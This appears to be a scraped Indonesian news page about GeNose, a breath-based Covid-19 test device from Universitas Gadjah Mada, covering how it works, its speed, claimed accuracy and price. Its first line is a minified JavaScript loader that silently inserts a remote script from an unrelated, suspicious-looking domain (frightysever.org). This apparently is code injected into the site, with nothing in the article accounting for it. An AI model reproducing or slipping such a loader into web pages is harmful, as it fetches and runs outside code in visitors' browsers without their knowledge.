(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU– Tim peneliti Universitas Gadjah Mada (UGM) Yogyakarta menciptakan alat pendeteksi virus corona Covid-19 yang disebut dengan GeNose. Alat ini disebut bisa jadi alternatif mudah dan murah untuk tes Covid-19 yang dibuat oleh Indonesia.
Kabar baiknya, GeNose telah siap diedarkan setelah Kamis (24/12/2020) lalu telah mendapat izin edar dari Kemenkes. Kanalkalimantan.com merangkum beberapa fakta GeNose buatan UGM, antara lain:
1. Menggunakan Embusan Napas
Jika beberapa tes menggunakan darah atau cairan hidung dan tenggorokan, GeNose cukup menggunkan embusan napas. Oleh karena itu, tes dengan alat ini dijamin tidak menyakitkan seperti PCR atau Rapid/Swab Antigen.
Pada pengujian, seseorang harus mengembuskan napas ke kantong napas yang tersambung langsung dengan alat.
2. Menggunakan Kecerdaan Artifisial (AI)
Setelah mengembuskan napas, alat ini akan mendeteksi virus melalui norofaring yang bekerja mendeteksi Volatile Organic Compound (VOC), di mana VOC diprediksi berasal dari metabolisme virus.
Identifikasi sensor-sensor data ini kemudian akan diolah dengan bantuan kecerdasan artifisial (AI). Dengan penggunaan AI, maka semakin terlatih alat akan semakin akurat dalam mendeteksi.
3. Hasil Cepat
Melansir laman resmi UGM, alat GeNose memiliki kemampuan mendeteksi virus corona baru Covid-19 di tubuh manusia dalam waktu cepat. Tidak kurang dari 2 menit hasil tes sudah dapat diketahui apakah positif atau negatif Covid-19.
“Kalau sebelumnya butuh waktu sekitar 3 menit, kemarin saat uji di BIN sudah bisa turun menjadi 80 detik sehingga lebih cepat lagi,” kata anggota tim peneliti GeNose, Kuwat Triyono, di acara Public Expose GeNose: Teknologi Pengendus Covid-19 di Gedung BJ Habibie lantai 24, Jakarta.
4. Akurat
GeNose memiliki tingkat sensitivitas 89-92 persen dan spesifitas 95-96 persen. Hal ini dinyatakan oleh dr. Dian Kesumapramudya Nurputra Sp.A, MSc, Ph.D, salah satu peneliti GeNose pada konferensi pers di kanal Youtube Universitas Gadjah Mada, Senin (28/12/2020).
“Dari semua kelengkapannya terutama dari uji validasi membandingkan antara GeNose dengan PCR Test mereka sudah sampaikan hasilnya sangat baik di atas 90 persen,” ujar Menteri Riset dan Teknologi atau Kepala Badan Riset dan Teknologi Indonesia, Bambang Brodjonegoro pada webinar, Jumat (11/12/2020).
5. Terjangkau
Dengan hanya membutuhkan kantong napas yang harus diganti, tes menggunakan alat ini diestimasikan hanya ditaksir Rp 15 ribu hingga Rp 60 ribu. “Perkiraannya per tes itu Rp 15.000. Jadi menurut saya ini mungkin salah satu alat deteksi termurah tetapi akurat,” ujar Bambang pada webinar, Jumat (11/12/2020).
(Kanalkalimantan.com/suara)
Editor : Cell
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
This website uses cookies.